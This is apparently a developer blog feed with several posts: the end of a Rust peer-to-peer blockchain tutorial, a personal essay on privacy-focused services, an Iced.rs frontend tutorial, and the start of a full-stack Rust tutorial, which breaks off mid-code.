    INFO  rust_blockchain_example > Peer Id: 12D3KooWSDyn83pJD4eEg9dvYffceAEcbUkioQvSPY7aCi7J598q
    
     INFO  rust_blockchain_example > sending init event
     INFO  rust_blockchain_example::p2p > Discovered Peers:
     INFO  rust_blockchain_example      > connected nodes: 2
     INFO  rust_blockchain_example::p2p > Response from 12D3KooWSXGZJJEnh3tndGEVm6ACQ5pdaPKL34ktmCsUqkqSVTWX:
     INFO  rust_blockchain_example::p2p > Block { id: 0, hash: "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43", previous_hash: "genesis", timestamp: 1636664658, data: "genesis!", nonce: 2836 }
     INFO  rust_blockchain_example::p2p > Block { id: 1, hash: "00008cf68da9f978aa080b7aad93fb4285e3c0dbd85fc21bc7e83e623f9fa922", previous_hash: "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43", timestamp: 1636664772, data: " hello", nonce: 62235 }

After sending the init event, we requested the second node’s chain and got it.

Calling ls c here shows us the same chain:

     INFO  rust_blockchain_example::p2p > Local Blockchain:
     INFO  rust_blockchain_example::p2p > [
      {
        "id": 0,
        "hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "previous_hash": "genesis",
        "timestamp": 1636664658,
        "data": "genesis!",
        "nonce": 2836
      },
      {
        "id": 1,
        "hash": "00008cf68da9f978aa080b7aad93fb4285e3c0dbd85fc21bc7e83e623f9fa922",
        "previous_hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "timestamp": 1636664772,
        "data": " hello",
        "nonce": 62235
      }
    ]

Creating a block also works:

    create b alsoworks
     INFO  rust_blockchain_example      > mining block...
     INFO  rust_blockchain_example      > nonce: 0
     INFO  rust_blockchain_example      > mined! nonce: 34855, hash: 0000e0bddf4e603da675b92b88e86e25692eaaa8ad20db6ecab5940bdee1fdfd, binary hash: 001110000010111101110111111001110110000011110110100110111010110111001101011100010001110100011011101001011101001101110101010101010100010101101100000110110111101110110010101011010110010100101111011110111000011111110111111101
     INFO  rust_blockchain_example::p2p > broadcasting new block

Node 1:

     INFO  rust_blockchain_example::p2p > received new block from 12D3KooWSDyn83pJD4eEg9dvYffceAEcbUkioQvSPY7aCi7J598q
    
    ls c
     INFO  rust_blockchain_example::p2p > Local Blockchain:
     INFO  rust_blockchain_example::p2p > [
      {
        "id": 0,
        "hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "previous_hash": "genesis",
        "timestamp": 1636664658,
        "data": "genesis!",
        "nonce": 2836
      },
      {
        "id": 1,
        "hash": "00008cf68da9f978aa080b7aad93fb4285e3c0dbd85fc21bc7e83e623f9fa922",
        "previous_hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "timestamp": 1636664772,
        "data": " hello",
        "nonce": 62235
      },
      {
        "id": 2,
        "hash": "0000e0bddf4e603da675b92b88e86e25692eaaa8ad20db6ecab5940bdee1fdfd",
        "previous_hash": "00008cf68da9f978aa080b7aad93fb4285e3c0dbd85fc21bc7e83e623f9fa922",
        "timestamp": 1636664920,
        "data": " alsoworks",
        "nonce": 34855
      }
    ]

Node 2:

     INFO  rust_blockchain_example::p2p > received new block from 12D3KooWSDyn83pJD4eEg9dvYffceAEcbUkioQvSPY7aCi7J598q
    ls c
     INFO  rust_blockchain_example::p2p > Local Blockchain:
     INFO  rust_blockchain_example::p2p > [
      {
        "id": 0,
        "hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "previous_hash": "genesis",
        "timestamp": 1636664655,
        "data": "genesis!",
        "nonce": 2836
      },
      {
        "id": 1,
        "hash": "00008cf68da9f978aa080b7aad93fb4285e3c0dbd85fc21bc7e83e623f9fa922",
        "previous_hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "timestamp": 1636664772,
        "data": " hello",
        "nonce": 62235
      },
      {
        "id": 2,
        "hash": "0000e0bddf4e603da675b92b88e86e25692eaaa8ad20db6ecab5940bdee1fdfd",
        "previous_hash": "00008cf68da9f978aa080b7aad93fb4285e3c0dbd85fc21bc7e83e623f9fa922",
        "timestamp": 1636664920,
        "data": " alsoworks",
        "nonce": 34855
      }
    ]

Great — it works!

You can play around and try to create race conditions (e.g., by increasing the difficulty to three zeros and starting multiple blocks in multiple nodes. You’ll immediately notice some of the flaws of this design, but the basics work. We have a peer-to-peer blockchain application, a real decentralized ledger with basic robustness, built entirely from scratch in Rust. Awesome!

You can find the full example code at GitHub.

Conclusion

In this tutorial, we built a simple, quite limited, but working blockchain application in Rust. Our blockchain app has a very basic mining scheme, consensus, and peer-to-peer networking in just 500 lines of Rust.

Most of this simplicity is thanks to the fantastic libp2p library, which does all the heavy lifting in terms of networking. Clearly, as is always the case in software engineering tutorials, for a production-grade blockchain-application, there are many, many more things to consider and get right.

However, this exercise sets the stage for the topic, explaining some of the basics and showing them off in Rust, so that we can continue this journey by looking at how we would go about building a blockchain application that could actually be used in practice with a framework such as Substrate.

Privacy Focused Services I use

26 Nov 2021 00:00 +0000

In a previous post, I described my journey of focusing more on data privacy and switching away from some of the mainstream services, which are a privacy nightmare, towards more privacy-focused solutions.

But first, let’s explore what I mean with “privacy nightmare” and why I’m happy to invest time and money to search for, test and use alternatives to mainstream services. What does privacy even mean and why is it important?

On Privacy

Privacy is a fundamental human right. It protects human autonomy and dignity and is the basis of any diverse, open and tolerant society. Without privacy, people can not flourish and any experiment, any non-conformist thought, any behaviour outside of accepted boundaries can prompt negative consequences from institutions and people in power.

Protecting our privacy has been an essential element of human civilization for a long time. There is a reason we live in isolated communities of people we trust, with spaces completely our own where we can be ourselves and explore the world and our own conscience without fear of consequences, as long as we don’t impede the freedom of anyone else doing so.

Unfortunately, with the advent of the information age and the digital transformation of our lives and especially with the introduction of the smartphone, an omnipresent device tracking its users in any and every possible way, sending this data, by default, to the companies producing these devices, and/or providing the software for them, the protection of our privacy has become a lot more difficult.

Now, the easy solution to this would be to just not use all of this new dangerous technology. However, besides the fact that society is changing with the technology and some of the devices and services are almost mandatory at this point to live a life without barriers in modern society, many of the technological inventions in the information age are very, very useful and empowering.

All of these wondrous technological gadgets and apps have their advantages and disadvantages, but having the ability to stay in contact globally, searching for information with a lot less effort, having the possibility to collaboratively work with others on documents and many other great things can certainly be considered as net positives at this point.

Also, all of these great feats of progress in our communication and collaboration can be achieved without exploiting the people using these services - none of the modern technologies depend on spying on their users. Some services get better by feeding incoming queries into databases and models, but this can be done anonymously without losing any value for the user. The same can be said for recommendation systems - an algorithm trying to figure out what kind of movies, songs, or books I like doesn’t need any personal information about me, it can work with anonymized data I provide on my own accord.

If you’re interested in diving deeper into this whole topic, I can very much recommend the following two books on privacy and algorithmic exploitation:

Now, how to find these services, which provide the wonders of modern technology without sacrificing our privacy?

Besides actively looking for companies focused on privacy and security (it’s easy to claim these things, harder to prove them), one of the best strategies I have found is to question the business model of the device, or service you want to use.

As person not working within IT, it might be difficult to estimate how much an app, a website, or a digital device cost in terms of production and maintenance. The fact that Google, Facebook and many more provide their services without having to pay money for them has skewed the perspective of how much digital services should cost.

So, when I look for services, I make sure I understand the business model and the option I’m most drawn towards is simply paying a reasonable amount of money for the service.

Why is it important, that a service costs money? It’s nice to get free stuff, right? The problem is, if a company doesn’t charge anything for their service, how does it survive? People in IT earn high salaries, infrastructure isn’t cheap and building quality apps and services takes a lot of time.

So if a service you’re using, such as email, calendar, or even a simple to-do list doesn’t cost any money, you should immediately become very suspicious.

There are some notable exceptions, of course. The Signal messenger, which is purely financed by donations and subsidies is one of them. This is great, but it also begs the question, if this model is sustainable and if it can sustain growth and maintenance over the long term. Unfortunately, this step of checking how a service is financed is necessary and can be time-consuming and companies are sometimes not 100% clear on how they create revenue. Clearly, it’s also possible for a company to charge you money and to track and sell your data, so a second criteria I use is a communicated focus on privacy and security. That way, the companies commit themselves to a set of values and the fact that they take your money so they can respect your privacy will make any scandal, or wrongdoing on their part in this area very, very costly and will immediately kill any trust people have in the company, so they have a strong incentive to actually keep their promise.

Email

My first email provider ever was Hotmail and after that I moved, as many others, to Gmail. I’m not even sure why I did that - I think it was just “the thing to do” back then. And not only did I use Gmail, I also leaned on many other Google services quite heavily, such as Maps, Docs and even Google Now when I was traveling.

When I became a bit more privacy-aware, I started to question this decision. Does Google really read my emails? Surely no person at Google reads my private messages - but algorithms analyze them and attempt to create a detailed personal profile for me, based on highly sensitive data I certainly never conciously agreed to share with anyone.

At some point, I decided to move away from Gmail and Google services in general, which at that point took a lot of time and planning, because I was fully locked in. One of the central changes I made, was to look for services which charged money for their service and which had a focus on privacy.

First, I moved to Fastmail, which was already a huge improvement over Gmail in terms of privacy. However, one thing that still bothered me was the fact that Fastmail used servers hosted in the US. Now, the fact that Fastmail is not a US company means that technically, no US government agency can access the data within Fastmail’s servers without first applying to Australian authorities, which is good. more about this here.

I was quite happy with Fastmail and used the service for 3 years. The only reason I switched was because I found Protonmail, a security and privacy focused email provider from Switzerland, which fit my needs even better.

First of all, Protonmail’s servers are located in Switzerland and it’s a Swiss company, so all data is protected by Swiss privacy laws, which are as strict, or stricter than the laws regarding data privacy within the EU, which is a whole different quality from the US.

Besides that, Protonmail adds another layer of encryption and security and while it’s not possible to fully end-to-end encrypt emails due to protocol limitations, all internal email traffic within Protonmail is fully encrypted and Protonmail itself can’t read customer’s emails. The same goes for Protonmail Calendar, which has a unique (to my knowledge) approach to encryption, which is explained here.

The Protonmail apps work well enough for me, although the Calendar is, at this time, still in Beta. Another side-effect to the rigorous encryption is that everything is a bit slower, since, for example, the calendar needs to be decrypted every time it’s accessed. For me personally, this trade-off is not an issue though.

Cloud Storage

For cloud storage, I relied on Google Drive and Dropbox for the longest time and wasn’t really aware of other alternatives, especially ones which focus on privacy. A colleague pointed me towards Tresorit, a Swiss privacy and security focused cloud storage provider.

Tresorit provides everything I need and could imagine to be useful in terms of cloud storage so I don’t see myself moving away from it in the foreseeable future.

Mobile OS

I talked about switching to /e/-OS in a previous post. To this day, I’m still very happy with it and besides the initial setup and issues I ran into with some apps not being available, I didn’t encounter any more troubles and it has been working nicely.

I regularly get updates and the updates are fully automatic and have been working well so far. I haven’t done a major version upgrade so far, but since there is now the easy-installer available for my device, this shouldn’t be an issue.

It’s exciting to see the progress in this area, since smart phones in general are something of a privacy nightmare. The amount of sensitive, high-quality data that can be collected from a device people carry everywhere is gigantic.

Notes

I used Evernote for a while, but honestly I used such a small subset of its functionality and didn’t really get any benefit from the cloud-sync, that I looked for alternatives.

A colleague told me to check out Notable, an Electron based, minimal note-taking app. What’s nice about Notable is, that it simply uses Markdown files underneath to store your notes. This means that you can point it to a cloud-synced folder and all of your notes will be automatically synced.

For some people, the fact that there is no mobile app might disqualify Notable, but for me this is actually a blessing in disguise, as I try to use my smart phone less during the day anyway. Plus, if you’d have an app that can manage (CRUD) markdown files, you could just use that and your cloud storage provider to at least have basic access to your notes from anywhere.

Conclusion

Getting to the point I am at today, having moved from the mainstream platforms to privacy and security-focused alternatives took quite a bit of time and effort.

However, being able to trust the technology I use daily without having to blissfully ignore potential future (or present) nightmare scenarios in regards to my data, is valuable and freeing.

Resources

Iced.rs tutorial: How to build a simple Rust frontend web app

27 Oct 2021 00:00 +0000

This post was originally posted on the LogRocket blog on 12.10.2021 and was cross-posted here by the author.

Previously, we looked at how to create a basic Wasm-based frontend application in Rust using the Yew web framework web framework. In this tutorial, we’ll show you how to do a similar thing with the Iced.rs GUI library.

To show Iced.rs in action, we’ll build a very basic frontend application using Iced and Rust, which uses JSONPlaceholder for fetching data. We’ll fetch posts and display them in a list, each with a detail-link guiding the user to the full post with comments.

Iced.rs vs. Yew

The biggest difference between Iced.rs and Yew is that while Yew is purely for building web apps, Iced’s focus is actually on cross-platform applications; the web is only one of several platforms you can build an application for.

In terms of style, while Yew will feel familiar to anyone who knows React and JSX, Iced.rs is inspired by the fantastic Elm in terms of architecture.

Another thing to note is that Iced.rs is very much in early and active development. While it’s absolutely possible to build basic apps with it, the ecosystem isn’t particularly mature yet. Besides the docs and examples, at this early stage, it’s a bit rocky to get started, especially if you’re trying to build something complex.

That said, it seems like the project is managed well and progresses quickly through its roadmap.

Setting up Iced.rs

To follow along with this tutorial, all you need is a recent Rust installation (Rust 1.55) is the most recent version at the time of writing).

First, create a new Rust project:

    cargo new rust-frontend-example-iced
    cd rust-frontend-example-iced

Next, edit the Cargo.toml file and add the dependencies you’ll need:

    [dependencies]
    iced_web = "0.4"
    iced = { version = "0.3", features = ["tokio"] }
    serde = { version = "1.0", features = ["derive"] }
    serde_json = "1.0"
    wasm-bindgen = "0.2.69"
    reqwest = { version = "0.11", features = ["json"] }

In this tutorial, we’ll use Iced.rs as our frontend framework. Since Iced.rs is a cross-platform GUI library, we also need to add iced_web, which enables us to create a Wasm-based single-page web application from our Iced.rs application.

For fetching data as JSON, we’ll also add reqwest and serde. We’ll pin the wasm-bindgen version so we don’t run into any compatibility issues when building. This is useful because the Wasm ecosystem is still very much in flux and using specific versions for your projects ensures you don’t wake up someday to a broken project.

Starting with `index.html`

We’re using Trunk to abstract away the nitty-gritty of building a Wasm application. Trunk expects an index.html file in the project root, which we’ll provide:

    <!DOCTYPE html>
    <html>
      <head>
        <meta http-equiv="Content-type" content="text/html; charset=utf-8"/>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Tour - Iced</title>
      </head>
      <body>
        <script type="module">
          import init from "./iced/iced.js";
          init('./iced/iced_bg.wasm');
        </script>
      </body>
    </html>

Here, we simply created an HTML skeleton and added the snippets for including our compiled Iced.rs source.

We don’t add any CSS here; with Iced.rs, we build our own custom widgets and style them inside the code. It’s possible to add CSS, of course, but in many cases, the styles are overridden within the widgets by the inline styling Iced.rs adds to the output HTML.

With all of this setup out of the way, we can start to write some Rust code.

Data access

We’ll start by building our data access layer. For this purpose, we’ll create a data.rs file next to main.rs in the src folder and we’ll add this data module to our main.rs using mod data;.

Since our plan is to fetch a list of posts and then the details of a post with its comments, we’ll need structs for Post and Comment.

    use serde::Deserialize;
    
    #[derive(Debug, Clone, Deserialize)]
    #[serde(rename_all = "camelCase")]
    pub struct Post {
        pub id: i32,
        pub user_id: i32,
        pub title: String,
        pub body: String,
    }
    
    #[derive(Debug, Clone, Deserialize)]
    #[serde(rename_all = "camelCase")]
    pub struct Comment {
        pub post_id: i32,
        pub id: i32,
        pub name: String,
        pub email: String,
        pub body: String,
    }

Next, we’ll implement some data fetching routines to get the actual JSON data from JSONPlaceholder.

    impl Post {
        pub async fn fetch_all() -> Result<Vec<Post>, String> {
            let url = String::from("https://jsonplaceholder.typicode.com/posts/");
            reqwest::get(&url)
                .await
                .map_err(|_| String::new())?
                .json()
                .await
                .map_err(|_| String::new())
        }
    
        pub async fn fetch(id: i32) -> Result<Post, String> {
            let url = format!("https://jsonplaceholder.typicode.com/posts/{}", id);
            reqwest::get(&url)
                .await
                .map_err(|_| String::new())?
                .json()
                .await
                .map_err(|_| String::new())
        }
    }

In this simple example, we won’t handle connection errors, so we’ll just return empty strings here. You could easily extend this, however, by either returning error messages or creating a custom error enum to handle different error cases in the app.

We have one function for fetching all posts. To execute HTTP requests, we use the Reqwest HTTP client, which also supports Wasm as a build target.

For fetching a post’s details, we created a second function, which takes the post’s ID as an argument, passes it to JSONPlaceholder, and returns a Result of type Post.

Now we need to do the same for comments.

    impl Comment {
        pub async fn fetch_for_post(id: i32) -> Result<Vec<Comment>, String> {
            let url = format!(
                "https://jsonplaceholder.typicode.com/posts/{}/comments/",
                id
            );
            reqwest::get(&url)
                .await
                .map_err(|_| String::new())?
                .json()
                .await
                .map_err(|_| String::new())
        }
    }

This data access function also takes a post ID and fetches all comments for the given post, deserializing the JSON to a vector of Comment structs.

With our data module, we’re now able to fetch posts and comments and we have nice structs containing our data.

Building the UI with Iced.rs

Now it’s time to start building the UI.

An Iced.rs application, similar to ELM, consists of four central concepts:

State
Messages
Update
View

The State is the state of your application. In our case, for example, this is the data we fetch and display from JSONPlaceholder.

Messages are used to trigger flow inside the application. they can be user interaction, timed events, or any other event, which might change something within the application.

The Update logic is used to react to these Messages. For example, in our application, there might be a Message for navigating to the Detail page. In our Update logic for this message, we will set the route and fetch the data, so we can update the application state from List to Detail.

Finally, the View logic describes how to render a certain piece of the application. It displays the State and might produce Messages on user interaction.

We’ll build our very simple widgets for posts and comments first, which will include the rendering logic for those, and then use them to wire everything together with basic routing and our data access.

Post and comment widgets

We’ll start with the Comment widget because it’s very minimalistic and simple.

    struct Comment {
        comment: data::Comment,
    }
    
    impl Comment {
        fn view(&self) -> Element<Message> {
            Column::new()
                .push(Text::new(format!("name: {}", self.comment.name)).size(12))
                .push(Text::new(format!("email: {}", self.comment.email)).size(12))
                .push(Text::new(self.comment.body.to_owned()).size(12))
                .into()
        }
    }

Basically, our Comment widget simply has a data::Comment as its state, so once we get comment data from our data layer, we can start creating these widgets.

The view , in this case, describes how to render a Comment. In this case, we create a Column, which, in HTML, will just be a div. However, there’s also a Row and other preexisting Container widgets, which we can use to structure our UI in a responsive, coherent way.

Within this column, we simply add some iced::Text widgets, which basically compile down to p (text paragraphs). We give it a string and then set the size manually.

At the end, we use .into() because view returns an Element<Message>, where Element is just Iced’s generic widget and Message is our messages abstraction we’ll look at later.

Now let’s look at the implementation of the Post widget:

    struct Post {
        detail_button: button::State,
        post: data::Post,
    }
    
    impl Post {
        fn view(&mut self) -> Element<Message> {
            Column::new()
                .push(Text::new(format!("id: {}", self.post.id)).size(12))
                .push(Text::new(format!("user_id: {}", self.post.user_id)).size(12))
                .push(Text::new(format!("title: {}", self.post.title)).size(12))
                .push(Text::new(self.post.body.to_owned()).size(12))
                .into()
        }
    
        fn view_in_list(&mut self) -> Element<Message> {
            let r = Row::new().padding(5).spacing(5);
            r.push(
                Column::new().spacing(5).push(
                    Text::new(self.post.title.to_owned())
                        .size(12)
                        .vertical_alignment(VerticalAlignment::Center),
                ),
            )
            .push(
                Button::new(&mut self.detail_button, Text::new("Detail").size(12))
                    .on_press(Message::GoToDetail(self.post.id)),
            )
            .into()
        }
    }

The fundamental difference is that a Post in our case also contains a detail_button. This enables us to create the detail buttons for our post list.

We also have two different rendering functions for a Post: the detail view, which is similar to our view function in Comment, and a view_in_list function, which creates a list element using some padding and spacing (padding and margin in web-speak) to make everything align and, importantly, adds the Detail view button at the end of the row.

If you check out the docs for some of the styling options, you’ll recognize many options from the web, so styling your components is pretty straightforward.

To create a button, we need a button::State. We can add an action upon clicking it, such as Message::GoToDetail(self.post.id) if the button is pressed.

With these two basic widgets out of the way, let’s build our App widget and start building a runnable application.

Putting it all together

In our main.rs, we can start with imports and our main function.

    use iced::{
        button, executor, Align, Application, Button, Clipboard, Column, Command, Element, Row,
        Settings, Text, VerticalAlignment,
    };
    
    mod data;
    
    pub fn main() -> iced::Result {
        App::run(Settings::default())
    }

Running an Iced.rs application is straightforward. We need something that implements the Application trait — in our case, App — and then we can just call run() on it with default settings.

With these settings, we could set some basic application settings, such as the default font, window settings (for native applications), and things of that nature.

Next, let’s look at our App struct and our application state within it.

    #[derive(Clone, Debug)]
    enum Route {
        List,
        Detail(i32),
    }
    
    struct App {
        list_button: button::State,
        route: Route,
        posts: Option<Vec<Post>>,
        post: Option<Post>,
        comments: Option<Vec<Comment>>,
    }

In our App, we have the button state for our list_button, which is the button back to the homepage, our root.

Then we keep the route state with our two routes List and Detail. I wasn’t able to find any mature routing libraries for iced_web, so we’re going to build our own very simplistic routing, without changing URLs, history, or back handling in the browser.

In case you’re interested in building a more fleshed out routing, you could add web-sys to your dependencies:

    [dependencies.web-sys]
    version = "0.3.32"
    features = [
        "Document",
        "Window",
    ]

And then you can set the URLs for example using:

    let win = web_sys::window().unwrap_throw();
    win.location()
      .set_hash(&format!("/detail/{}", id))
      .unwrap_throw();

But we won’t go down that rabbit hole in this tutorial.

Further, we keep state for posts, post, and comments. These are just options associated with our widgets for Post and Comment and vectors filled with them, respectively.

Next up, let’s define our Message struct, which defines our data flow in the app.

    #[derive(Debug, Clone)]
    enum Message {
        PostsFound(Result<Vec<data::Post>, String>),
        PostFound(Result<data::Post, String>),
        CommentsFound(Result<Vec<data::Comment>, String>),
        GoToList,
        GoToDetail(i32),
    }

There are five messages in our application.

The most basic ones are GoToList and GoToDetail, which are essentially our routing messages. These are triggered if someone clicks on Home or on a Detail link.

Then, PostsFound, PostFound, and CommentsFound are triggered when data comes back from our data access layer. We’ll look at the handling of these messages in a bit.

Let’s start implementing the Application trait for App.

    impl Application for App {
        type Executor = executor::Default;
        type Flags = ();
        type Message = Message;
    
        fn new(_flags: ()) -> (App, Command<Message>) {
            (
                App {
                    list_button: button::State::new(),
                    route: Route::List,
                    posts: None,
                    post: None,
                    comments: None,
                },
                Command::perform(data::Post::fetch_all(), Message::PostsFound),
            )
        }
    
        fn title(&self) -> String {
            String::from("App - Iced")
        }

The Executor is actually an async executor, which can run futures, such as async-io or Tokio. We just use the default. We also don’t use any flags and set our Message struct to be used for messages.

In the new function, we just set default values for all properties, return App, and, importantly, return a new Command. This mechanism of returning Command<Message> is the way to trigger messages in Iced.rs.

In this case, upon creating App, we perform the Post::fetch_all future from our data access layer and provide a Message, which will be called with the result of the future — in this case, Message::PostsFound.

This means when the app is opened, we immediately fetch all posts so we can display them.

Using title(), we can also set the title, but that’s not particularly interesting.

Let’s look at how we manage Messages next in update:

        fn update(&mut self, message: Message, _c: &mut Clipboard) -> Command<Message> {
            match message {
                Message::GoToList => {
                    self.post = None;
                    self.comments = None;
                    self.route = Route::List;
                    Command::perform(data::Post::fetch_all(), Message::PostsFound)
                }
                Message::GoToDetail(id) => {
                    self.route = Route::Detail(id);
                    self.posts = None;
                    Command::batch(vec![
                        Command::perform(data::Post::fetch(id), Message::PostFound),
                        Command::perform(data::Comment::fetch_for_post(id), Message::CommentsFound),
                    ])
                }
                Message::PostsFound(posts) => {
                    match posts {
                        Err(_) => (),
                        Ok(data) => {
                            self.posts = Some(
                                data.into_iter()
                                    .map(|post| Post {
                                        detail_button: button::State::new(),
                                        post,
                                    })
                                    .collect(),
                            );
                        }
                    };
                    Command::none()
                }
                Message::PostFound(post) => {
                    match post {
                        Err(_) => (),
                        Ok(data) => {
                            self.post = Some(Post {
                                detail_button: button::State::new(),
                                post: data,
                            });
                        }
                    }
                    Command::none()
                }
                Message::CommentsFound(comments) => {
                    match comments {
                        Err(_) => (),
                        Ok(data) => {
                            self.comments = Some(
                                data.into_iter()
                                    .map(|comment| Comment { comment })
                                    .collect(),
                            );
                        }
                    };
                    Command::none()
                }
            }
        }

That’s quite a lot of code, but it’s also the heartpiece in terms of logic when it comes to our app, so let’s go through it step by step.

First, we handle GoToList. which is triggered when clicking on Home. If this happens, we reset the saved data for post and comment, set the route to List, and, finally, trigger a request for fetching all posts.

In GoToDetail, we essentially do the same, but this time we clear posts and issue a batch of commands — namely, fetching the post and comments for the given post ID.

Now it gets interesting. Handling Message::PostsFound(posts) happens any time fetch_all succeeds. Since we’re ignoring errors, we don’t do anything if we get an error, but if we get data, we actually create a vector of Post widgets with the returned data and set self.posts to that list of widgets.

This means that when the data comes back, we actually update our application state. In this case, we return Command::none(), which means the command chain ends here.

For PostFound and CommentsFound, the handling is essentially the same: we update the application state with the widgets based on the returned data.

Finally, let’s look at the view function to see how we render our complete application.

        fn view(&mut self) -> Element<Message> {
            let col = Column::new()
                .max_width(600)
                .spacing(10)
                .padding(10)
                .align_items(Align::Center)
                .push(
                    Button::new(&mut self.list_button, Text::new("Home")).on_press(Message::GoToList),
                );
            match self.route {
                Route::List => {
                    let posts: Element<_> = match self.posts {
                        None => Column::new()
                            .push(Text::new("loading...".to_owned()).size(15))
                            .into(),
                        Some(ref mut p) => App::render_posts(p),
                    };
                    col.push(Text::new("Home".to_owned()).size(20))
                        .push(posts)
                        .into()
                }
                Route::Detail(id) => {
                    let post: Element<_> = match self.post {
                        None => Column::new()
                            .push(Text::new("loading...".to_owned()).size(15))
                            .into(),
                        Some(ref mut p) => p.view(),
                    };
                    let comments: Element<_> = match self.comments {
                        None => Column::new()
                            .push(Text::new("loading...".to_owned()).size(15))
                            .into(),
                        Some(ref mut c) => App::render_comments(c),
                    };
    
                    col.push(Text::new(format!("Post: {}", id)).size(20))
                        .push(post)
                        .push(comments)
                        .into()
                }
            }
        }

First, we create another Column, this time with a max width, aligning everything in the center. This is our outermost container.

Inside this container, we add the Home button, which, upon clicking, triggers the GoToList message, navigating us back to the Home page.

Then we match on self.route, our route state within the application.

If we’re on the List route, we check if we have self.posts set already; remember, when this is set, a request to fetch posts has already been triggered. If not, we show a loading.. message.

Once the data is there, we call App::render_posts, a helper for actually rendering a list of posts.

    impl App {
        fn render_posts(posts: &mut Vec<Post>) -> Element<Message> {
            let c = Column::new();
            let posts: Element<_> = posts
                .iter_mut()
                .fold(Column::new().spacing(10), |col, p| {
                    col.push(p.view_in_list())
                })
                .into();
            c.push(posts).into()
        }
    
        fn render_comments(comments: &Vec<Comment>) -> Element<Message> {
            let c = Column::new();
            let comments: Element<_> = comments
                .iter()
                .fold(Column::new().spacing(10), |col, c| col.push(c.view()))
                .into();
            c.push(Text::new(String::from("Comments:")).size(15))
                .push(comments)
                .into()
        }
    }

There’s also a corresponding helper for rendering a list of comments. In both cases, we simply iterate the data and create a Column with all the singular Post and Comment widgets within it.

Finally, we push the word Home and the returned posts widget list to a column, adding it to the root column.

For the Detail route, we similarly check the loading case and, once the data is there, assemble everything together, returning it in a new column.

Testing our Iced.rs app

Now that we’re done with our simplistic list/detail application, let’s test and see if it actually works.

Let’s run trunk serve, which will build and run our app on http://localhost:8080.

Initially, we see the Home page with a list of posts and their Detail links:

Upon clicking on one of these links, we’re directed to the post’s detail page, showing it’s body and all the comments on this post, which are all fetched in parallel from JSONPlaceholder.

It works!

You can find the full code for this example on GitHub.

Conclusion

Having played around with Elm in the past and being comfortable in Rust, building this small app with Iced.rs was actually a pretty straightforward experience.

The one thing that’s immediately noticeable, when it comes to using Iced.rs for web, is the lack of some basics, such as a mature routing library. It looks like Iced’s focus is less on the web and more on cross-platform GUI applications, generally.

Besides that, the examples and docs were helpful. There is an active community working on and with Iced.rs already. For use cases where cross-platform development is a focus, I can definitely see Iced.rs being a strong contender in the future.

Full-stack Rust: A complete tutorial with examples

26 Sep 2021 00:00 +0000

This post was originally posted on the LogRocket blog on 09.09.2021 and was cross-posted here by the author.

Previously on this blog, we covered how to create a CRUD web service with Rust using warp and how to build a frontend web app with Rust using Yew.

In this tutorial, we’ll put it all together and build a simple full stack web application, featuring a database-backed REST backend and a WASM-based single-page application on the frontend, which calls this backend.

To top it all off, we’ll create a shared Rust module, which will be used by both the frontend and the backend, to demonstrate how to share code in such a setup.

We’ll build a very simple pet owner app that enables the user to add owners and their pets. Our app will feature a detailed view for owners and their list of pets, enabling them to delete and add pets as needed.

Here’s what we’ll cover:

Setting up a full-stack Rust app
Common functionality
Building the REST backend
Frontend implementation
Testing our Rust full-stack app

You don’t need to have read the aforementioned posts to follow along, but since this post includes both concepts, we won’t go into the same level of depth regarding the basics. If you want to dive deeper, feel free to scan over them.

Without further ado, let’s get started!

Setting up a full-stack Rust app

To follow along, all you need is a reasonably recent Rust installation. Docker, or some other way of running a Postgres database, would also be useful.

In this case, since we’re going to write both the backend and frontend in Rust, and we’re going to share some code between them, we’ll create a multimember workspace project using Cargo.

First, create a new Rust project:

    cargo new rust-fullstack-example
    cd rust-fullstack-example

Then, delete the src folder and edit the Cargo.toml file as follows:

    [workspace]
    members = [
        "backend",
        "frontend",
        "common"
    ]

Now we can create our three separate Rust projects:

    cargo new --lib common
    cargo new backend
    cargo new --lib frontend

Navigate to the common directory and edit the Cargo.toml file, adding the following dependencies:

    [dependencies]
    serde = {version = "=1.0.126", features = ["derive"] }

Next, edit the Cargo.toml file in frontend and add these dependencies:

    [dependencies]
    yew = "0.18"
    wasm-bindgen = "0.2.67"
    serde_json = "1"
    serde = {version = "=1.0.126", features = ["derive"] }
    anyhow = "1"
    yew-router = "0.15.0"
    common = { version = "0.1.0", path = "../common" }

We’re using Yew to build the Wasm. We add some more utility libraries for routing and error and JSON handling, as well as an internal dependency to our common library, which will hold the code shared between the frontend and backend.

Finally, edit the Cargo.toml file in backend and add these dependencies:

    [dependencies]
    tokio = { version = "=1.6.1", features = ["macros", "rt-multi-thread"] }
    warp = "=0.3.1"
    mobc = "=0.7.2"
    mobc-postgres = { version = "=0.7.0", features = ["with-chrono-0_4", "with-serde_json-1"] }
    serde = {version = "=1.0.126", features = ["derive"] }
    serde_json = "=1.0.64"
    thiserror = "=1.0.24"
    common = { version = "0.1.0", path = "../common" }

We’re using the warp web framework to build the backend. Since we’re using a Postgres database to store our data, we’ll also add the mobc connection pool for Postgres.

Besides that, since Warp is optimized for Tokio, we need to add it as our async runtime. We’ll add some utility libraries for error and JSON handling, as well as an internal dependency to our common project.

That’s it for the setup. Let’s start writing the shared code for both frontend and backend in our common project.

Common functionality

We’ll start off by fleshing out the common module, where we’ll add the shared data models between the frontend and the backend. In a real application, much more could be shared — including validation, helpers, utilities etc. — but, in this case, we’ll stick to the data structs.

In lib.rs, we’ll add the data models for our Owner and Pet models:

    use serde::{Deserialize, Serialize};
    
    #[derive(Deserialize, Clone, PartialEq, Debug)]
    pub struct Owner {
        pub id: i32,
        pub name: String,
    }
    
    #[derive(Serialize, Deserialize, Clone, PartialEq, Debug)]
    pub struct OwnerRequest {
        pub name: String,
    }
    
    #[derive(Serialize, Deserialize, Clone, PartialEq, Debug)]
    pub struct OwnerResponse {
        pub id: i32,
        pub name: String,
    }
    
    impl OwnerResponse {
        pub fn of(owner: Owner) -> OwnerResponse {
            OwnerResponse {
                id: owner.id,
